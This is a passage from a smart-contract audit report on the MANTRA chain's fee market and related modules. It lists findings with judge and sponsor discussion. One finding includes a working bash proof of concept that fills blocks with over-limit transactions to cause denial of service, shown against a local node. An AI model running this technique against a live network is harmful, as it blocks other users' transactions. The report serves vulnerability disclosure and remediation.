Lance Lan (MANTRA) confirmed and commented:

Valid. Grantee can drain all granter’s granted funds; however, most of the granter grantee relationship are internal so the impact is relatively low.

Lance Lan (MANTRA) commented:

Regarding S-203: yes, we have found this bug prior to it being reported and will be patched in next upgrade. This should be medium-high as all feegranter feegrantee relationships are mostly internal now.

[H-03] Refunding the full gas fee tip allows inflating the transaction priority and filling up the block gas limit, effectively DoSing the network

Submitted by berndartmueller

Finding description and impact

skip-mev’s feemarket ante handler escrows the full paid fee amount (which includes the base gas fee + tip). Any paid gas fee that is not consumed is fully refunded to the fee payer in Mantra’s xfeemarket post handler.

This is problematic in two ways:

  1. According to the genesis.json configuration for Mantra, the consensus parameter for the maximum block gas max_gas is set to 75_000_000. This means that blocks will have a 75M gas limit and will only contain transactions that have a cumulative gas consumption of less than or equal to 75M. This is ensured by using a block gas meter, as seen when preparing a block and when finalizing a block. Therefore, knowing that unspent gas is fully refunded, an attacker can submit a tx with a gas limit of near 75M, consume only a small fraction of it, and get the rest refunded. This can be repeated to fill up the block with transactions that consume only a small fraction of the gas limit, effectively DoSing the network.
  2. A transaction’s priority in the mempool is determined based on the paid fee. By purposefully overpaying, a transaction can always have a very high priority.

Proof of Concept

skip-mev’s feemarket feeMarketCheckDecorator() ante handler decorator escrows the full paid fee amount.

The transaction’s priority is determined via the priorityFee by converting the full paid fee amount (in any of the allowed coins) to the base denom fee coin (uom). This priorityFee is then used to set the transaction priority within the mempool.

156: ctx = ctx.WithPriority(GetTxPriority(priorityFee, int64(gas), baseGasPrice))

In the post handler, after the message is executed, BurnFeeAndRefund() refunds the tip, i.e., the difference between the gas consumed and the paid fee, to the fee payer.

148: func (dfd FeeMarketDeductDecorator) BurnFeeAndRefund(ctx sdk.Context, fee, tip sdk.Coin, feePayer sdk.AccAddress, defaultFeeDenom string) error {
...   // [...]
163:
164: 	// refund the tip if it is not nil and non zero
165: 	if !tip.IsNil() && !tip.IsZero() {
166: 		err := RefundTip(dfd.bankKeeper, ctx, feePayer, sdk.NewCoins(tip))
167: 		if err != nil {
168: 			return err
169: 		}

Knowing that the tip is subsequently refunded, a user might exploit this by providing a large amount of fees to (1) DoS the network by filling up blocks with transactions that consume only a small fraction of the gas limit, and (2) always have a very high priority in the mempool.

Proof of concept:

Here is a PoC that demonstrates how a transaction can set its gas limit as high as the block gas limit to consume all of the block gas and effectively DoS the network:

Two simple bank coin send transactions are generated and broadcasted. The first transaction sets the gas limit to the maximum block gas limit of 75M, and the second transaction sets it to a more reasonable 1M. Both transactions are signed and broadcasted quickly to attempt to get them into the same block.

But, since the first transaction consumes all of the block gas, the second transaction is put into a separate block.

Setup environment by starting a local node:

First, adapt the Makefile to ensure the validator has more available funds and the gas limit is set to 75M (mimicking Mantra mainnet):

diff --git a/Makefile b/Makefile
index 0ad0cdc..80d3c5a 100644
--- a/Makefile
+++ b/Makefile
@@ -220,12 +220,13 @@ mocks:
 build-and-run-single-node: build
 	@echo "Building and running a single node for testing..."
 	@mkdir -p .mantrasinglenodetest
-	@if [ ! -f .mantrasinglenodetest/config.toml ]; then \
+	@if [ ! -f .mantrasinglenodetest/config/config.toml ]; then \
 		./build/mantrachaind init single-node-test --chain-id test-chain --home .mantrasinglenodetest; \
 		./build/mantrachaind keys add validator --keyring-backend test --home .mantrasinglenodetest; \
-		./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest) 100000000stake --home .mantrasinglenodetest; \
+		./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest) 100000000000000stake --home .mantrasinglenodetest; \
 		./build/mantrachaind genesis gentx validator 100000000stake --chain-id test-chain --keyring-backend test --home .mantrasinglenodetest; \
 		./build/mantrachaind genesis collect-gentxs --home .mantrasinglenodetest; \
+		sed -i'' -e 's/"max_gas": "-1"/"max_gas": "75000000"/' .mantrasinglenodetest/config/genesis.json; \
 	fi
 	./build/mantrachaind start --home .mantrasinglenodetest --minimum-gas-prices 0stake

Start the local node with:

make build-and-run-single-node

Next, save the following script as test.sh:

#!/bin/bash

MAX_BLOCK_GAS=75000000

ACCOUNT_ADDRESS=$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrasinglenodetest)

# Query account to get current sequence number
ACCOUNT_INFO=$(./build/mantrachaind query auth account $ACCOUNT_ADDRESS --home .mantrasinglenodetest -o json)

# Extract sequence number using jq, navigating through the nested structure
# Note: Install jq if not already installed: sudo apt-get install jq
SEQUENCE=$(echo $ACCOUNT_INFO | jq -r '.account.value.sequence')

# Increment for second transaction
NEXT_SEQUENCE=$((SEQUENCE + 1))

echo "Current sequence: $SEQUENCE"
echo "Next sequence: $NEXT_SEQUENCE"

# Generate first unsigned tx
./build/mantrachaind tx bank send \
    $ACCOUNT_ADDRESS \
    mantra1y6xz2ggfc0pcsmyjlekh0j9pxh6hk87yz9jkm3 \
    222stake \
    --from validator \
    --keyring-backend test \
    --chain-id test-chain \
    --home .mantrasinglenodetest \
    --gas $MAX_BLOCK_GAS \
    --gas-adjustment 1.5 \
    --gas-prices 1.5stake \
    --generate-only > unsigned_tx1.json

# Generate second unsigned tx
./build/mantrachaind tx bank send \
    $ACCOUNT_ADDRESS \
    mantra1y6xz2ggfc0pcsmyjlekh0j9pxh6hk87yz9jkm3 \
    333stake \
    --from validator \
    --keyring-backend test \
    --chain-id test-chain \
    --home .mantrasinglenodetest \
    --gas 1000000 \
    --gas-adjustment 1.5 \
    --gas-prices 1.5stake \
    --generate-only > unsigned_tx2.json

# Sign first tx (use current sequence number)
./build/mantrachaind tx sign \
    unsigned_tx1.json \
    --from validator \
    --keyring-backend test \
    --chain-id test-chain \
    --home .mantrasinglenodetest \
    --sequence "$SEQUENCE" \
    --account-number 0 \
    --offline > signed_tx1.json

# Sign second tx (use current sequence + 1)
./build/mantrachaind tx sign \
    unsigned_tx2.json \
    --from validator \
    --keyring-backend test \
    --chain-id test-chain \
    --home .mantrasinglenodetest \
    --sequence "$NEXT_SEQUENCE" \
    --account-number 0 \
    --offline > signed_tx2.json

# Broadcast both txs quickly and capture their hashes
TX1_HASH=$(./build/mantrachaind tx broadcast signed_tx1.json --home .mantrasinglenodetest -o json | jq -r '.txhash')
TX2_HASH=$(./build/mantrachaind tx broadcast signed_tx2.json --home .mantrasinglenodetest -o json | jq -r '.txhash')

echo "Waiting for transactions to be included in blocks..."
sleep 6  # Give some time for transactions to be processed

# Query and display details for first transaction
echo "Transaction 1 ($TX1_HASH) details:"
TX1_DETAILS=$(./build/mantrachaind query tx $TX1_HASH --home .mantrasinglenodetest -o json)
echo "Gas used:    $(echo $TX1_DETAILS | jq -r '.gas_used')"
echo "Gas wanted:  $(echo $TX1_DETAILS | jq -r '.gas_wanted')"
echo "Height:      $(echo $TX1_DETAILS | jq -r '.height')"
echo "Fee refunded:  $(echo $TX1_DETAILS | jq -r '.events[] | select(.type=="tip_refund") | .attributes[0].value')"

echo -e "\nTransaction 2 ($TX2_HASH) details:"
TX2_DETAILS=$(./build/mantrachaind query tx $TX2_HASH --home .mantrasinglenodetest -o json)
echo "Gas used:    $(echo $TX2_DETAILS | jq -r '.gas_used')"
echo "Gas wanted:  $(echo $TX2_DETAILS | jq -r '.gas_wanted')"
echo "Height:      $(echo $TX2_DETAILS | jq -r '.height')"
echo "Fee refunded:  $(echo $TX2_DETAILS | jq -r '.events[] | select(.type=="tip_refund") | .attributes[0].value')"

# Calculate height difference
HEIGHT1=$(echo $TX1_DETAILS | jq -r '.height')
HEIGHT2=$(echo $TX2_DETAILS | jq -r '.height')
HEIGHT_DIFF=$((HEIGHT2 - HEIGHT1))
echo -e "\nHeight difference between transactions: $HEIGHT_DIFF blocks"

Run with chmod +x test.sh and ./test.sh

The output is as follows:

Current sequence: 3
Next sequence: 4
Waiting for transactions to be included in blocks...
Transaction 1 (654A5B452A32349CDBFC7949319484490BC082A3A2F63C7E1FF29F7789218033) details:
Gas used:    120980
Gas wanted:  75000000
Height:      187
Fee refunded:  112410901stake

Transaction 2 (D2416E3DCD64871D1ED68C4AF6272E2E3A4E96153727C54C605728927F482F72) details:
Gas used:    120848
Gas wanted:  1000000
Height:      188
Fee refunded:  1410961stake

Height difference between transactions: 1 blocks

It shows that both transactions are put into separate blocks, due to the first transaction consuming all of the block gas. And, the first transaction gets a refund of 112410901stake, which is the difference between the gas limit and the gas consumed.

Consider only partially refunding the gas fee tip to the fee payer. This would disincentivize users from overpaying the gas fee.

This has also been suggested as one of the mitigations by Celestia.

Note: this finding was redacted upon submission and was populated by C4 staff to proceed through the audit process.

Lance Lan (MANTRA) confirmed

3docSec (judge) commented:

Looks valid.

[H-04] Multiplier is calculated using denom and not coin.Denom

Submitted by ABAIKUNANBAEV, also found by berndartmueller

Finding description and impact

Currently, there is a resolver that helps to convert different coins to the corresponding amount of the base coin to ensure multiple fee coin market can be supported. However, it incorrectly fetches the multiplier using the base denom instead of taking denom of the denom in the function.

Proof of Concept

Take a look at how multiplier is now derived:

https://github.com/code-423n4/2024-11-mantra/blob/main/x/xfeemarket/keeper/resolver.go#L11-23

func (k Keeper) ConvertToDenom(ctx sdk.Context, coin sdk.DecCoin, denom string) (sdk.DecCoin, error) {
	if coin.Denom == denom {
		return coin, nil
	}

	multiplier, err := k.DenomMultipliers.Get(ctx, denom)
	if err != nil {
		return sdk.DecCoin{}, err
	}
	amount := coin.Amount.Mul(multiplier.Dec)

	return sdk.NewDecCoinFromDec(denom, amount), nil
}

As you can see here, it fetches multiplier by putting denom in the mapping that’s stored in the feemarket keeper:

https://github.com/code-423n4/2024-11-mantra/blob/main/x/xfeemarket/keeper/keeper.go#L28-29

	// DenomMultipliers is a map of denomination and their multipliers against the default base fee denomination.
		DenomMultipliers collections.Map[string, sdk.DecProto]

So this mapping serves as a way to get the corresponding denom => multiplier against the default base fee denomination. The problem is that currently it’s the base denom that’s provided in the Get() function:

multiplier, err := k.DenomMultipliers.Get(ctx, denom)

Instead, it has to take coin.Denom as the previous line makes sure that the denom is not the base one:

if coin.Denom == denom {
		return coin, nil
	}

This results in a situation where we take the multiplier for a base denom instead of taking it for the denom that’s used against the base one.

Change the current functionality on the following line:

https://github.com/code-423n4/2024-11-mantra/blob/main/x/xfeemarket/keeper/resolver.go#L16

multiplier, err := k.DenomMultipliers.Get(ctx, coin.Denom)

3docSec (judge) commented:

Plausible, can’t exclude a misunderstanding.

Lance Lan (MANTRA) confirmed and commented:

Indeed a error. But this resolver is not wired in and is not used. It is not the final implementation thus Low.

3docSec (judge) commented:

The rules we have on speculation on future code (or in this case future configuration, that is enabling support for multi-token transaction fees) are clear: the feature is in scope unless said otherwise in the audit README.

Medium Risk Findings (4)

[M-01] Fee market post handler misses to account for gas consumed after taking the gas snapshot, leading to higher refunds and unpaid gas

Submitted by berndartmueller

Finding description and impact

Mantra’s xfeemarket post handler refunds unspent gas after the transaction is executed. For this, in line 99, a snapshot of the gas consumed is taken, which is then used to calculate the refund (tip) via skip-mev’s CheckTxFee() in line 112.

However, this gas snapshot does not account for any gas consumed after the snapshot is taken, such as the gas consumed by burning the gas fees and the bank transfer that refunds the tip. As a result, the user is not charged for the gas consumed by these operations, leading to unaccounted gas consumption and potential abuse.

Proof of Concept

x/xfeemarket/post/fee.go#L99-L116

A gas snapshot is taken in line 99 to calculate the refund in CheckTxFee() in line 112.

099: feeGas := int64(feeTx.GetGas()) // @audit-info snapshot of gas consumed
...  // [...]
110:
111: if !simulate {
112: 	payCoin, tip, err = ante.CheckTxFee(ctx, minGasPrice, payCoin, feeGas, false)
113: 	if err != nil {
114: 		return ctx, err
115: 	}
116: }

skip-mev/feemarket@v1.1.1/x/feemarket/ante/fee.go::CheckTxFee()

The CheckTxFee() function calculates the refund based on the gas snapshot and returns the payCoin and tip, which are burned/locked and refunded, respectively.

But those operations consume gas, which the user is not charged for.

Consider defining a gas constant for those operations (e.g., BankSendGasConsumption = 12490 + 37325, which is only used during simulations) and charge the user for the gas consumed by them. This will prevent potential abuse and ensure that the user is charged for all gas consumed during the transaction.

3docSec (judge) commented:

Maybe a misunderstanding. Looking at the code it seems to me that the refund is lower than it should (gas consumed in the burn/lock and refund operations is paid but not refunded).

Lance Lan (MANTRA) disputed and commented:

L99 is actually just the gas limit, the naming is confusing. L112 it calculates the payCoin and tip which the tip is refunded. I agree that operations the burn and refund is not paid gas; however, this is very low impact.

3docSec (judge) commented:

Marking as valid Low. The warden is welcome to provide a coded PoC during QA session if they believe this finding can leak meaningful (i.e. more than slightly incorrect gas calculation) value.

berndartmueller (warden) commented:

It’s true that L99 is the gas limit, not a gas snapshot. I was confusing things. But it does not affect the validity of the issue, because CheckTxFee(..) calculates the tip that will be refunded based on the gas used by getting a gas snapshot in https://github.com/skip-mev/feemarket/blob/f1f216e15aa6bcc05075a7079496764820a0f545/x/feemarket/ante/fee.go#L240. Any subsequent gas usage will not be paid for by the user, i.e., the tip will be larger than it should.

Here’s a simple PoC that shows how much gas is used after ante.CheckTxFee(..) internally takes a gas snapshot, which is not paid for by the user as it will increase the refunded tip.

Add the following lines after x/xfeemarket/post/fee.go#L117

+ snapshot := ctx.GasMeter().GasConsumed()

and after L141

Add lines after x/xfeemarket/post/fee.go#L141

err = dfd.feemarketKeeper.SetState(ctx, state)
if err != nil {
    return ctx, errorsmod.Wrapf(err, "unable to set fee market state")
}

+ // figure out the diff of gas consumed since snapshot
+ gasDiff := ctx.GasMeter().GasConsumed() - snapshot
+ fmt.Println("gasDiff", gasDiff)

if simulate {
    // consume the gas that would be consumed during normal execution
    ctx.GasMeter().ConsumeGas(BankSendGasConsumption, "simulation send gas consumption")
}

Copy paste the following test case to x/xfeemarket/post/fee_test.go

func TestPostHandle_Audit(t *testing.T) {
	// Same data for every test case
	const (
		baseDenom           = "stake"
		resolvableDenom     = "atom"
		expectedConsumedGas = 59122

		gasLimit = 100000
	)

	validFeeAmount := types.DefaultMinBaseGasPrice.MulInt64(int64(gasLimit))
	validFee := sdk.NewCoins(sdk.NewCoin(baseDenom, validFeeAmount.TruncateInt()))

	testCases := []postsuite.TestCase{
		{
			Name: "signer has enough funds, should pass, with tip",
			Malleate: func(s *postsuite.TestSuite) postsuite.TestCaseArgs {
				accs := s.CreateTestAccounts(1)

				balance := postsuite.TestAccountBalance{
					TestAccount: accs[0],
					Coins:       validFee,
				}
				s.SetAccountBalances([]postsuite.TestAccountBalance{balance})

				return postsuite.TestCaseArgs{
					Msgs:      []sdk.Msg{testdata.NewTestMsg(accs[0].Account.GetAddress())},
					GasLimit:  gasLimit,
					FeeAmount: validFee,
				}
			},
			RunAnte:           true,
			RunPost:           true,
			Simulate:          false,
			ExpPass:           true,
			ExpErr:            nil,
			ExpectConsumedGas: 34836,
			Mock:              false,
		},
	}

	for _, tc := range testCases {
		t.Run(fmt.Sprintf("Case %s", tc.Name), func(t *testing.T) {
			s := postsuite.SetupTestSuite(t, tc.Mock)
			s.TxBuilder = s.ClientCtx.TxConfig.NewTxBuilder()
			args := tc.Malleate(s)

			s.RunTestCase(t, tc, args)
			s.Fail("fail")
		})
	}
}

Running the test logs shows the leaked gas diff since taking a snapshot after CheckTxFee(..) (which is not 100% accurate, but it demonstrates the issue):

gasDiff 28909

Compared to a simple bank send tx (https://explorer.mantrachain.io/MANTRA-1/tx/FBA240100B1D4115C2D2D53A23AC0036787EE241E30C9AA10441B3400380E668), which e.g. consumed 151517 gas, that’s 28,909 / 151,517 = 19% of the gas of such a tx which is significant gas leakage.

3docSec (judge) commented:

Agreed, that percentage of the gas accounting being off for reasonably popular transactions is enough impact for Medium severity.

[M-02] Block gas utilization is slightly lower than the actual gas utilization due to the gas snapshot being taken too early, resulting in an inaccurate base fee calculation

Submitted by berndartmueller

Finding description and impact

xfeemarket implements a custom PostHandler() for skip-mev’s feemarket. At almost the very end of the execution, the feemarket’s state is updated with the consumed gas amount so that the current block’s gas utilization and, thus, the base fee can be calculated.

However, the gas snapshot that is provided is not 100% accurate. It is taken in line 81. But any gas consumed by the subsequent actions, e.g., GetMinGasPrice() in line 101, or ante.CheckTxFee() in line 112, are not accounted for in the gas snapshot.

As a result, the block utilization for the current height is inaccurate, leading to a slightly lower base fee than it should be.

Proof of Concept

x/xfeemarket/post/fee.go#L129

In line 129, the skip-mev’s feemarket state is updated with the currently used gas so that the block utilization for the current height is calculated correctly.

129: err = state.Update(gas, params)

https://github.com/skip-mev/feemarket/blob/f1f216e15aa6bcc05075a7079496764820a0f545/x/feemarket/types/state.go#L26-L36

// Update updates the block utilization for the current height with the given
// transaction utilization i.e. gas limit.
func (s *State) Update(gas uint64, params Params) error {
	update := s.Window[s.Index] + gas
	if update > params.MaxBlockUtilization {
		return fmt.Errorf("block utilization of %d cannot exceed max block utilization of %d", update, params.MaxBlockUtilization)
	}

	s.Window[s.Index] = update
	return nil
}

However, the gas snapshot is taken in line 81, which does not include any gas consumed in lines 101-127 up until the state update.

81: 	gas := ctx.GasMeter().GasConsumed() // use context gas consumed

Consider taking the snapshot right before calling state.Update().

3docSec (judge) commented:

Looks valid, may be worth verifying if the excluded operations actually cost gas.

Lance Lan (MANTRA) confirmed and commented:

Is indeed valid as the excluded operations cost gas. We followed skip-mev implementation where they have the same issue. Low at best as this has no chance for exploits and would not come up in normal circumstance. Even if it does, it has limited impact as users just have to do the transaction with more slightly gas.

berndartmueller (warden) commented:

Here’s a simple PoC that shows how much gas is left out to account for the block utilization.

Add lines after x/xfeemarket/post/fee.go#L99

feeGas := int64(feeTx.GetGas())

+ snapshot := ctx.GasMeter().GasConsumed()

and after L142

+ // figure out the diff of gas consumed since snapshot
+ gasDiff := ctx.GasMeter().GasConsumed() - snapshot
+ fmt.Println("gasDiff", gasDiff)

Copy paste the following test case to x/xfeemarket/post/fee_test.go

func TestPostHandle_Audit(t *testing.T) {
	// Same data for every test case
	const (
		baseDenom           = "stake"
		resolvableDenom     = "atom"
		expectedConsumedGas = 59122

		gasLimit = 100000
	)

	validFeeAmount := types.DefaultMinBaseGasPrice.MulInt64(int64(gasLimit))
	validFee := sdk.NewCoins(sdk.NewCoin(baseDenom, validFeeAmount.TruncateInt()))

	testCases := []postsuite.TestCase{
		{
			Name: "signer has enough funds, should pass, with tip",
			Malleate: func(s *postsuite.TestSuite) postsuite.TestCaseArgs {
				accs := s.CreateTestAccounts(1)

				balance := postsuite.TestAccountBalance{
					TestAccount: accs[0],
					Coins:       validFee,
				}
				s.SetAccountBalances([]postsuite.TestAccountBalance{balance})

				return postsuite.TestCaseArgs{
					Msgs:      []sdk.Msg{testdata.NewTestMsg(accs[0].Account.GetAddress())},
					GasLimit:  gasLimit,
					FeeAmount: validFee,
				}
			},
			RunAnte:           true,
			RunPost:           true,
			Simulate:          false,
			ExpPass:           true,
			ExpErr:            nil,
			ExpectConsumedGas: 34836,
			Mock:              false,
		},
	}

	for _, tc := range testCases {
		t.Run(fmt.Sprintf("Case %s", tc.Name), func(t *testing.T) {
			s := postsuite.SetupTestSuite(t, tc.Mock)
			s.TxBuilder = s.ClientCtx.TxConfig.NewTxBuilder()
			args := tc.Malleate(s)

			s.RunTestCase(t, tc, args)
			s.Fail("fail")
		})
	}
}

Running the test logs shows the gas diff since taking a snapshot:

gasDiff 31368

To put this into context: A simple bank send tx, consumed 151,517 gas, that’s 31,368 / 151,517 = ~21% of the gas of such a tx.

When Mantra chain is heavily utilized, this gas inaccuracy is not negligible and results in underestimated base fees, failing to properly increase gas fees to counteract high utilization (and e.g. spam). Therefore, I kindly ask the judge to reconsider the severity and consider Medium appropriate.

3docSec (judge) commented:

Agreed, 21% of the gas accounting being off for reasonably popular transactions is enough impact for Medium severity.

[M-03] xfeemarket module is not wired up, resulting in non-working CLI commands, message server, genesis export

Submitted by berndartmueller, also found by abdulsamijay and Egis_Security

Finding description and impact

A Cosmos SDK app is set up in app/app.go, where all modules are wired up. Some of the steps include:

  • module.NewManager(..) initializes the module manager. For example, it ensures that the module’s CLI commands are registered and available from the binary
  • genesisModuleOrder specifies the order of the modules for exporting and initializing genesis state
  • storetypes.NewKVStoreKeys(..) registers all the store keys for the various modules

However, it has been observed that Mantra’s custom xfeemarket module is not properly registered. It is missing in the steps above. As a result, the module’s CLI commands are not available and do not work. The message server is not registered, which prevents, for example, using the MsgUpsertFeeDenom and MsgRemoveFeeDenom messages to update the fee multipliers. The module’s state is not exported or initialized in the genesis state.

This prevents the module from being fully functional, especially from configuring fee multipliers to be able to use various coin denoms as gas fees.

Proof of Concept

app/app.go#L308-L324

For example, storetypes.NewKVStoreKeys(..) registers all the store keys for the various modules. However, Mantra’s custom xfeemarket module is not included in that list.

308: keys := storetypes.NewKVStoreKeys(
309: 	authtypes.StoreKey, banktypes.StoreKey, stakingtypes.StoreKey, crisistypes.StoreKey,
310: 	minttypes.StoreKey, distrtypes.StoreKey, slashingtypes.StoreKey,
311: 	govtypes.StoreKey, paramstypes.StoreKey, consensusparamtypes.StoreKey, upgradetypes.StoreKey, feegrant.StoreKey,
312: 	evidencetypes.StoreKey,
313: 	circuittypes.StoreKey,
314: 	authzkeeper.StoreKey,
315: 	nftkeeper.StoreKey,
316: 	group.StoreKey,
317: 	// non sdk store keys
318: 	capabilitytypes.StoreKey, ibcexported.StoreKey, ibctransfertypes.StoreKey, ibcfeetypes.StoreKey,
319: 	wasmtypes.StoreKey,
320: 	ratelimittypes.StoreKey,
321: 	tokenfactorytypes.StoreKey, taxtypes.StoreKey,
322: 	ibchookstypes.StoreKey,
323: 	feemarkettypes.StoreKey, oracletypes.StoreKey, marketmaptypes.StoreKey,
324: )

To ensure that the custom xfeemarket module is fully functional, consider the following diff to wire up the module in app/app.go:

diff --git a/app/app.go b/app/app.go
index bfaa4a7..7f4d4bb 100644
--- a/app/app.go
+++ b/app/app.go
@@ -43,6 +43,8 @@ import (
 	"github.com/MANTRA-Chain/mantrachain/x/tokenfactory"
 	tokenfactorykeeper "github.com/MANTRA-Chain/mantrachain/x/tokenfactory/keeper"
 	tokenfactorytypes "github.com/MANTRA-Chain/mantrachain/x/tokenfactory/types"
+	xfeemarketkeeper "github.com/MANTRA-Chain/mantrachain/x/xfeemarket/keeper"
+	xfeemarket "github.com/MANTRA-Chain/mantrachain/x/xfeemarket/module"
 	xfeemarkettypes "github.com/MANTRA-Chain/mantrachain/x/xfeemarket/types"
 	abci "github.com/cometbft/cometbft/abci/types"
 	tmproto "github.com/cometbft/cometbft/proto/tendermint/types"
@@ -254,8 +256,9 @@ type App struct {
 	ScopedFeeabsKeeper   capabilitykeeper.ScopedKeeper

 	// MANTRAChain keepers
-	TokenFactoryKeeper tokenfactorykeeper.Keeper
-	TaxKeeper          taxkeeper.Keeper
+	TokenFactoryKeeper    tokenfactorykeeper.Keeper
+	TaxKeeper             taxkeeper.Keeper
+	CustomFeeMarketKeeper xfeemarketkeeper.Keeper

 	// the module manager
 	ModuleManager      *module.Manager
@@ -321,6 +324,7 @@ func New(
 		tokenfactorytypes.StoreKey, taxtypes.StoreKey,
 		ibchookstypes.StoreKey,
 		feemarkettypes.StoreKey, oracletypes.StoreKey, marketmaptypes.StoreKey,
+		xfeemarkettypes.StoreKey,
 	)

 	tkeys := storetypes.NewTransientStoreKeys(paramstypes.TStoreKey)
@@ -564,6 +568,14 @@ func New(
 		authtypes.FeeCollectorName,
 	)

+	app.CustomFeeMarketKeeper = xfeemarketkeeper.NewKeeper(
+		appCodec,
+		runtime.NewKVStoreService(keys[xfeemarkettypes.StoreKey]),
+		logger,
+		authtypes.NewModuleAddress(govtypes.ModuleName).String(),
+		app.BankKeeper,
+	)
+
 	app.FeeMarketKeeper = feemarketkeeper.NewKeeper(
 		appCodec, keys[feemarkettypes.StoreKey],
 		app.AccountKeeper,
@@ -759,6 +771,7 @@ func New(
 		tokenfactory.NewAppModule(appCodec, app.TokenFactoryKeeper),
 		tax.NewAppModule(appCodec, app.TaxKeeper),
 		feemarket.NewAppModule(appCodec, *app.FeeMarketKeeper),
+		xfeemarket.NewAppModule(appCodec, app.CustomFeeMarketKeeper, app.AccountKeeper, app.BankKeeper),
 	)

 	// BasicModuleManager defines the module BasicManager is in charge of setting up basic,
@@ -811,6 +824,7 @@ func New(
 		tokenfactorytypes.ModuleName,
 		oracletypes.ModuleName,
 		marketmaptypes.ModuleName,
+		xfeemarkettypes.ModuleName,
 	)

 	app.ModuleManager.SetOrderEndBlockers(
@@ -833,6 +847,7 @@ func New(
 		taxtypes.ModuleName,
 		oracletypes.ModuleName,
 		marketmaptypes.ModuleName,
+		xfeemarkettypes.ModuleName,
 	)

 	// NOTE: The genutils module must occur after staking so that pools are
@@ -881,6 +896,7 @@ func New(
 		// market map genesis must be called AFTER all consuming modules (i.e. x/oracle, etc.)
 		oracletypes.ModuleName,
 		marketmaptypes.ModuleName,
+		xfeemarkettypes.ModuleName,
 	}
 	app.ModuleManager.SetOrderInitGenesis(genesisModuleOrder...)
 	app.ModuleManager.SetOrderExportGenesis(genesisModuleOrder...)

3docSec (judge) commented:

Looks valid.

Lance Lan (MANTRA) acknowledged and commented:

Intended behavior. Will only be wired in future when we want to support multi fee denoms.

berndartmueller (warden) commented:

According to the audit readme,

“Multi-token support for transaction fees”

is one of the listed features of Mantra Chain. Thus, it can be assumed that any issues related to preventing the use of other fee coins for gas payments are valid and their severity should be evaluated accordingly. There is also no hint that this feature will only be used later in the future.

Therefore, I would like the judge to reconsider the severity of this issue and consider Medium severity.

3docSec (judge) commented:

The rules we have on speculation on future code (or in this case future configuration, that is enabling support for multi-token transaction fees) are clear: the feature is in scope unless said otherwise in the audit README.

[M-04] Resolver is not initialized in the protocol’s keeper

Submitted by ABAIKUNANBAEV, also found by ABAIKUNANBAEV and zhaojie

Finding description and impact

At the moment, resolver is not initialized in the feemarket/keeper resulting in a situation where ante from the skip-mev would use its own ConvertToDenom() and not the one initialized in the Mantra protocol.

Proof of Concept

Mantra chain currently uses its own implementation of the ConvertToDenom() function:

https://github.com/code-423n4/2024-11-mantra/blob/main/x/xfeemarket/keeper/resolver.go#L11-23

func (k Keeper) ConvertToDenom(ctx sdk.Context, coin sdk.DecCoin, denom string) (sdk.DecCoin, error) {
	if coin.Denom == denom {
		return coin, nil
	}

	multiplier, err := k.DenomMultipliers.Get(ctx, denom)
	if err != nil {
		return sdk.DecCoin{}, err
	}
	amount := coin.Amount.Mul(multiplier.Dec)

	return sdk.NewDecCoinFromDec(denom, amount), nil
}

The problem is that it’s not initialized in the Keeper struct:

https://github.com/code-423n4/2024-11-mantra/blob/main/x/xfeemarket/keeper/keeper.go#L14-30

type (
	Keeper struct {
		cdc          codec.BinaryCodec
		storeService store.KVStoreService
		logger       log.Logger
		bankkeeper   types.BankKeeper

		// the address capable of executing a MsgUpdateParams message.
		// Typically, this should be the x/gov module account.
		authority string

		Schema collections.Schema
		Params collections.Item[types.Params]

		// DenomMultipliers is a map of denomination and their multipliers against the default base fee denomination.
		DenomMultipliers collections.Map[string, sdk.DecProto]
	}

Therefore, when ante decorator from the skip-mev would have to use the resolver, it would use its own one instead of the one implemented in the protocol:

https://github.com/skip-mev/feemarket/blob/main/x/feemarket/keeper/keeper.go#L28-49

// NewKeeper constructs a new feemarket keeper.
func NewKeeper(
	cdc codec.BinaryCodec,
	storeKey storetypes.StoreKey,
	authKeeper types.AccountKeeper,
	resolver types.DenomResolver,
	authority string,
) *Keeper {
	if _, err := sdk.AccAddressFromBech32(authority); err != nil {
		panic(fmt.Sprintf("invalid authority address: %s", authority))
	}

	k := &Keeper{
		cdc:       cdc,
		storeKey:  storeKey,
		ak:        authKeeper,
		resolver:  resolver,
		authority: authority,
	}

	return k
}

This creates a scenario where protocol’s newly implemented functionality for denom conversions to support multiple coin fee market cannot be used.

Initialize the resolver in the feemarket/keeper.go.

3docSec (judge) commented:

Looks valid.

Lance Lan (MANTRA) disputed and commented:

xfeemarket keeper and resolver is not wired in as we only plan on using it in the future once we move to support multi fee denom.

3docSec (judge) commented:

Closing as intended behavior / insufficient proof it shouldn’t be.

ABAIKUNANBAEV (warden) commented:

Similar to H-04, if that is considered a valid issue, this one should also be reconsidered and given a medium severity.

Per audit README, multi-token fee support is to be audited, meaning all the issues regarding it should be taken into account.

3docSec (judge) commented:

More than H-04, I consider this finding closer to M-03, so a similar sort seems reasonable.

Low Risk and Non-Critical Issues

For this audit, 5 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by gxh191 received the top score from the judge.

The following wardens also submitted reports: Bauchibred, crypticdefense, Rhaydden, and Sparrow.

[01] The Mint Function Emits an Incorrect Event

The Mint function handles minting operations and is located within a msgServer structure. Its primary purpose is to mint new tokens based on user requests.

In the Mint event, it incorrectly records the sender’s address instead of the target address where the tokens are minted.

func (server msgServer) Mint(goCtx context.Context, msg *types.MsgMint) (*types.MsgMintResponse, error) {

...

	if msg.Sender != authorityMetadata.GetAdmin() {
		return nil, types.ErrUnauthorized
	}

	if msg.MintToAddress == "" {
		msg.MintToAddress = msg.Sender
	}

...

	ctx.EventManager().EmitEvents(sdk.Events{
		sdk.NewEvent(
			types.TypeMsgMint,
			sdk.NewAttribute(types.AttributeMintToAddress
			, msg.Sender), // <---------
			sdk.NewAttribute(types.AttributeAmount, msg.Amount.String()),
		),
	})

	return &types.MsgMintResponse{}, nil
}

Suggested Fix

In the Mint event, change the event attribute from msg.Sender to msg.MintToAddress to ensure that the target address for token minting is recorded instead of the sender’s address.

diff --git a/x/tokenfactory/keeper/msg_server.go b/x/tokenfactory/keeper/msg_server.go
index 14a8d7d..9e66247 100644
--- a/x/tokenfactory/keeper/msg_server.go
+++ b/x/tokenfactory/keeper/msg_server.go
@@ -80,7 +80,7 @@ func (server msgServer) Mint(goCtx context.Context, msg *types.MsgMint) (*types.
        ctx.EventManager().EmitEvents(sdk.Events{
